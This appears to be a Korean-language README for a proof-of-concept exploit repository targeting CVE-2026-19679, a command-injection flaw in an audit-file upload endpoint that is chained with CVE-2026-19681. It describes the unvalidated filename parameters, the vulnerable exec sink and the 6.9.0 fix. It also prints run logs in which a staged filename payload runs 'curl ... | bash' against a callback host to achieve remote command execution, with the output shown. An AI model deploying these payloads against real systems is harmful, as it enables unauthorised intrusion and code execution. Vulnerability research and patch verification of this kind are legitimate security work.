h00die/poc-cve-2026-19679CVE-2026-19679용 개념 증명 익스플로잇으로, 감사(audit) 파일 업로드의 불충분한 파일명 검증으로 인한 명령 주입 취약점을 다룹니다. 차등 버전 프로브 및 원격 명령 실행을 위한 exec 모드를 포함합니다.
상태: CONFIRMED — 6.7.2-14.el9 랩에서 확인됨(2026-08-20). tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml"이 포함된 POST /rest/auditFile 요청은 HTTP 200을 반환하고 AuditFile #1000002를 등록했습니다 — 셸 메타문자가 포함된 파일 이름이 검증을 통과하여 종단 간(end-to-end) 저장되었습니다. 6.9.0에서는 동일한 요청이 "Invalid tailoring filename." 오류로 거부됩니다.
감사 파일 업로드 파라미터(filename, tailoringFilename, tailoringOriginalFilename)는 PARAM_FILENAME()으로 검증되며, 여기서는 세 가지만 확인합니다: 비어 있지 않은지, 가 없는지( 동일성), 그리고 스테이징된 파일이 존재하는지. — , , 백틱, , 공백이 그대로 통과합니다.
Utility::validateParams()/basename();$()${IFS}이러한 이름들은 이후 다음 지점으로 흘러 들어갑니다:
rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") —
AuditFileLib.php:2307 (이름에 임의의 메타문자가 포함된 파일이 생성됨)exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") 여기서 이스케이프되지 않은 $tmpZipFile은
클라이언트의 filename 파라미터에서 파생되며 — CVE-2026-19681의 후속 명령 주입입니다.랩에서 검증된 경계: 경로 탐색은 6.9 이전 결함의 일부가 아닙니다 — 두 테일러링 파라미터 모두 /를 거부합니다(../ 페이로드에서 오류 146 Invalid syntax for attribute ... 발생). 누락된 부분은 정확히 문자셋 필터이며, 이는 CVE 설명에서 "후속 명령 주입에 기여할 수 있다"고 할 때 의미하는 바입니다.
AuditFiles::applySCAPTailoringFile():
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);
여기에 두 이름 모두에 대한 basename()과 zip 피연산자에 대한 escapeshellarg()가 추가되었습니다.
버전별 차등 프로브 — 하나의 요청으로 버전마다 정반대의 결과 확인:
./poc.py --target https://sc.lab --username analyst --password 'pass'
"Invalid tailoring filename." 반환운영 참고 사항(모두 랩에서 검증됨):
/rest/file/upload (multipart Filedata, context 폼 필드)입니다context=auditFile은 zip에 대해 콘텐츠 탐지를 수행합니다 (더미 zip에서 오류 107 발생)type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName이 필요합니다19679는 검증 공백이고, 19681은 exec 싱크입니다. 동일한 업로드 흐름이 둘 모두를 트리거합니다: 19681은 스테이징된 filename (업로드 context 접두어를 통해)에 메타문자를 심고, 이스케이프되지 않은 $tmpZipFile을 통해 이를 실행시킵니다; 19679는 형제 파라미터들이 동일한 문자 클래스를 동일한 명령 문자열까지 (그리고 그 안으로) 허용한다는 것을 보여줍니다. 6.9.0은 하나의 커밋에서 양쪽을 모두 수정합니다: 문자셋 + basename + escapeshellarg.
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux